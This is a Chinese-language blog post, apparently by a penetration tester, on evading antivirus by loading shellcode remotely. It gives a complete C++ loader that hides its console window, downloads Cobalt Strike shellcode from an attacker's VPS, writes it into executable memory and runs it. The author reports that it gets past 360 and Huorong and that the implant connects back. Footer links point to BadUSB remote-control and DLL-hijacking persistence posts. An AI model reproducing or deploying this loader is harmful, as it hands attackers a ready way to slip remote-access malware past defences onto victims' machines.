shellcode免杀-远程加载shellcode


前言

看到网上的前辈们分享各种免杀方法,在好奇心的驱使下也做了练习,最终实现了针对主流杀毒软件的免杀处理。

shellcode免杀思路

没有经过免杀处理的shellcode会直接被安全软件杀掉,所以为了绕过安全软件的查杀,需要对shellcode先进行一些加密处理,然后通过本地或远程加载shellcode,在加载程序中再解密shellcode写入内存中执行。

成功免杀的shellcode大致流程如下:

0x01 远程加载shellcode免杀

免杀思路

将shellcode放到vps或github上,保证目标机器可以成功访问到,通过socket,或者是windows库提供的http库下载下来,通过远程加载的方式加载到内存中运行,可以绕过大部分杀软。

复现

首先通过cs生成一个payload

选择C和一个监听器

会生成一个payload.c文件,进行处理后保存为shellcode.c

shellcode.c上传到vps中,确保能够访问

接下来在vs2019中起一个c++空项目,将下列代码粘贴到源.cpp

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib,"WinInet.lib")

char* GetUrlPage(const char* URL, const char* SubPath) {

	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char* pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfosize = 2048;
	BYTE* pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;

	hInternet = InternetOpenA("WinInerGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	hConnect = InternetConnectA(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequestA(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfosize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfosize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfosize, NULL);
	pBuf = new BYTE[dwBufSize];
	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return(char*)pBuf;
}

void main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    //隐藏执行
	char* shellcode = GetUrlPage("vps_ip or 域名", "/shellcode.c");
	printf("%s in", shellcode);
	int shellcode_length = strlen(shellcode);
	unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length/2; count++) {
		sscanf_s(shellcode,"%2hhx",&value[count]);
		shellcode += 2;
	}
	void* exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec,value,shellcode_length / 2);
	((void(*)())exec)();
}

成功生成exe文件,针对exe文件用360、火绒查杀

双击exe文件,上线cs成功


文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
 上一篇
BadUsb制作,实现CobaltStrike远控上线 BadUsb制作,实现CobaltStrike远控上线
BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。
2023-01-08
下一篇 
权限维持-微信DLL劫持 权限维持-微信DLL劫持
DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。
2022-12-30
  目录